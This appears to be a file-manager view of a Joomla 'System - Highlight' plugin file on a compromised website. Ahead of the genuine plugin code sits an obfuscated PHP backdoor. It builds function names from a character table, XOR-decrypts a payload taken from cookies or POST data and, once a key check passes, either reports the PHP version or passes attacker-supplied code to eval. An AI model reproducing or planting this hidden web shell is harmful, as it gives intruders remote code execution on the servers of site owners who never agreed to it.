?
Path : /home/admin/domains/happytokorea.net/public_html/test/plugins/system/highlight/ |
Current File : /home/admin/domains/happytokorea.net/public_html/test/plugins/system/highlight/highlight.php |
<?php $m7f69bed = 705;$GLOBALS['v024e9'] = Array();global $v024e9;$v024e9 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['s6e8b42'] = "\x2d\x6e\x4f\x6a\x49\x48\x7d\x2c\x24\x50\x72\x2a\x63\x76\x65\x47\x6b\x5f\x26\x75\x31\x2f\x3d\x20\x5b\x43\x30\x29\x4c\x4b\x2e\x3a\x78\x39\x53\x4a\x35\x52\x37\x41\x55\x23\x5e\xa\x3f\xd\x54\x45\x22\x57\x5a\x27\x6c\x3e\x7e\x68\x9\x4d\x32\x28\x42\x7a\x4e\x3b\x21\x69\x2b\x6d\x70\x71\x56\x25\x59\x51\x5d\x44\x46\x36\x58\x66\x74\x7c\x62\x6f\x64\x7b\x61\x73\x3c\x79\x77\x38\x34\x40\x67\x33\x5c\x60";$v024e9[$v024e9['s6e8b42'][19].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][95]] = $v024e9['s6e8b42'][12].$v024e9['s6e8b42'][55].$v024e9['s6e8b42'][10];$v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][79].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][84]] = $v024e9['s6e8b42'][83].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][84];$v024e9[$v024e9['s6e8b42'][90].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][12]] = $v024e9['s6e8b42'][87].$v024e9['s6e8b42'][80].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][52].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][1];$v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][91]] = $v024e9['s6e8b42'][65].$v024e9['s6e8b42'][1].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][17].$v024e9['s6e8b42'][87].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][80];$v024e9[$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][20]] = $v024e9['s6e8b42'][87].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][52].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][61].$v024e9['s6e8b42'][14];$v024e9[$v024e9['s6e8b42'][16].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][82].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][82]] = $v024e9['s6e8b42'][68].$v024e9['s6e8b42'][55].$v024e9['s6e8b42'][68].$v024e9['s6e8b42'][13].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][87].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][83].$v024e9['s6e8b42'][1];$v024e9[$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][95].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][38]] = $v024e9['s6e8b42'][19].$v024e9['s6e8b42'][1].$v024e9['s6e8b42'][87].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][52].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][61].$v024e9['s6e8b42'][14];$v024e9[$v024e9['s6e8b42'][32].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][92]] = $v024e9['s6e8b42'][82].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][87].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][17].$v024e9['s6e8b42'][84].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][83].$v024e9['s6e8b42'][84].$v024e9['s6e8b42'][14];$v024e9[$v024e9['s6e8b42'][80].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][92]] = $v024e9['s6e8b42'][87].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][80].$v024e9['s6e8b42'][17].$v024e9['s6e8b42'][80].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][67].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][17].$v024e9['s6e8b42'][52].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][67].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][80];$v024e9[$v024e9['s6e8b42'][1].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][84].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][84]] = $v024e9['s6e8b42'][87].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][38].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][26];$v024e9[$v024e9['s6e8b42'][16].$v024e9['s6e8b42'][20].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][12]] = $v024e9['s6e8b42'][89].$v024e9['s6e8b42'][20].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][82].$v024e9['s6e8b42'][91];$v024e9[$v024e9['s6e8b42'][32].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][79].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][38].$v024e9['s6e8b42'][20].$v024e9['s6e8b42'][95].$v024e9['s6e8b42'][86]] = $_POST;$v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][82].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][12]] = $_COOKIE;@$v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][91]]($v024e9['s6e8b42'][14].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][83].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][17].$v024e9['s6e8b42'][52].$v024e9['s6e8b42'][83].$v024e9['s6e8b42'][94], NULL);@$v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][91]]($v024e9['s6e8b42'][52].$v024e9['s6e8b42'][83].$v024e9['s6e8b42'][94].$v024e9['s6e8b42'][17].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][83].$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][87], 0);@$v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][91]]($v024e9['s6e8b42'][67].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][32].$v024e9['s6e8b42'][17].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][32].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][19].$v024e9['s6e8b42'][80].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][83].$v024e9['s6e8b42'][1].$v024e9['s6e8b42'][17].$v024e9['s6e8b42'][80].$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][67].$v024e9['s6e8b42'][14], 0);@$v024e9[$v024e9['s6e8b42'][80].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][92]](0);$k5fbc = NULL;$n51916ede = NULL;$v024e9[$v024e9['s6e8b42'][61].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][38].$v024e9['s6e8b42'][20].$v024e9['s6e8b42'][95].$v024e9['s6e8b42'][58]] = $v024e9['s6e8b42'][58].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][0].$v024e9['s6e8b42'][38].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][82].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][0].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][82].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][0].$v024e9['s6e8b42'][82].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][79].$v024e9['s6e8b42'][0].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][79].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][95].$v024e9['s6e8b42'][20].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][79];global $z0a47132;function y152cb8($k5fbc, $b435c40){global $v024e9;$u61b = "";for ($c90c47f1=0; $c90c47f1<$v024e9[$v024e9['s6e8b42'][90].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][12]]($k5fbc);){for ($fe7e833c=0; $fe7e833c<$v024e9[$v024e9['s6e8b42'][90].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][12]]($b435c40) && $c90c47f1<$v024e9[$v024e9['s6e8b42'][90].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][12]]($k5fbc); $fe7e833c++, $c90c47f1++){$u61b .= $v024e9[$v024e9['s6e8b42'][19].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][95]]($v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][79].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][84]]($k5fbc[$c90c47f1]) ^ $v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][79].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][84]]($b435c40[$fe7e833c]));}}return $u61b;}function sc8790($k5fbc, $b435c40){global $v024e9;global $z0a47132;return $v024e9[$v024e9['s6e8b42'][16].$v024e9['s6e8b42'][20].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][12]]($v024e9[$v024e9['s6e8b42'][16].$v024e9['s6e8b42'][20].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][12]]($k5fbc, $z0a47132), $b435c40);}foreach ($v024e9[$v024e9['s6e8b42'][10].$v024e9['s6e8b42'][82].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][12]] as $b435c40=>$hf802){$k5fbc = $hf802;$n51916ede = $b435c40;}if (!$k5fbc){foreach ($v024e9[$v024e9['s6e8b42'][32].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][79].$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][38].$v024e9['s6e8b42'][20].$v024e9['s6e8b42'][95].$v024e9['s6e8b42'][86]] as $b435c40=>$hf802){$k5fbc = $hf802;$n51916ede = $b435c40;}}$k5fbc = @$v024e9[$v024e9['s6e8b42'][65].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][92].$v024e9['s6e8b42'][33].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][95].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][38]]($v024e9[$v024e9['s6e8b42'][1].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][84].$v024e9['s6e8b42'][77].$v024e9['s6e8b42'][84]]($v024e9[$v024e9['s6e8b42'][32].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][12].$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][58].$v024e9['s6e8b42'][92]]($k5fbc), $n51916ede));if (isset($k5fbc[$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][16]]) && $z0a47132==$k5fbc[$v024e9['s6e8b42'][86].$v024e9['s6e8b42'][16]]){if ($k5fbc[$v024e9['s6e8b42'][86]] == $v024e9['s6e8b42'][65]){$c90c47f1 = Array($v024e9['s6e8b42'][68].$v024e9['s6e8b42'][13] => @$v024e9[$v024e9['s6e8b42'][16].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][82].$v024e9['s6e8b42'][91].$v024e9['s6e8b42'][82]](),$v024e9['s6e8b42'][87].$v024e9['s6e8b42'][13] => $v024e9['s6e8b42'][20].$v024e9['s6e8b42'][30].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][0].$v024e9['s6e8b42'][20],);echo @$v024e9[$v024e9['s6e8b42'][14].$v024e9['s6e8b42'][36].$v024e9['s6e8b42'][26].$v024e9['s6e8b42'][20]]($c90c47f1);}elseif ($k5fbc[$v024e9['s6e8b42'][86]] == $v024e9['s6e8b42'][14]){eval/*n7ddf*/($k5fbc[$v024e9['s6e8b42'][84]]);}exit();} ?><?php /** * @package Joomla.Plugin * @subpackage System.Highlight * * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_BASE') or die; jimport('joomla.application.component.helper'); /** * System plugin to highlight terms. * * @package Joomla.Plugin * @subpackage System.Highlight * @since 2.5 */ class PlgSystemHighlight extends JPlugin { /** * Method to catch the onAfterDispatch event. * * This is where we setup the click-through content highlighting for. * The highlighting is done with JavaScript so we just * need to check a few parameters and the JHtml behavior will do the rest. * * @return boolean True on success * * @since 2.5 */ public function onAfterDispatch() { // Check that we are in the site application. if (JFactory::getApplication()->isAdmin()) { return true; } // Set the variables $input = JFactory::getApplication()->input; $extension = $input->get('option', '', 'cmd'); // Check if the highlighter is enabled. if (!JComponentHelper::getParams($extension)->get('highlight_terms', 1)) { return true; } // Check if the highlighter should be activated in this environment. if (JFactory::getDocument()->getType() !== 'html' || $input->get('tmpl', '', 'cmd') === 'component') { return true; } // Get the terms to highlight from the request. $terms = $input->request->get('highlight', null, 'base64'); $terms = $terms ? unserialize(base64_decode($terms)) : null; // Check the terms. if (empty($terms)) { return true; } // Clean the terms array $filter = JFilterInput::getInstance(); $cleanTerms = array(); foreach ($terms as $term) { $cleanTerms[] = $filter->clean($term, 'string'); } // Activate the highlighter. JHtml::_('behavior.highlighter', $cleanTerms); // Adjust the component buffer. $doc = JFactory::getDocument(); $buf = $doc->getBuffer('component'); $buf = '<br id="highlighter-start" />' . $buf . '<br id="highlighter-end" />'; $doc->setBuffer($buf, 'component'); return true; } }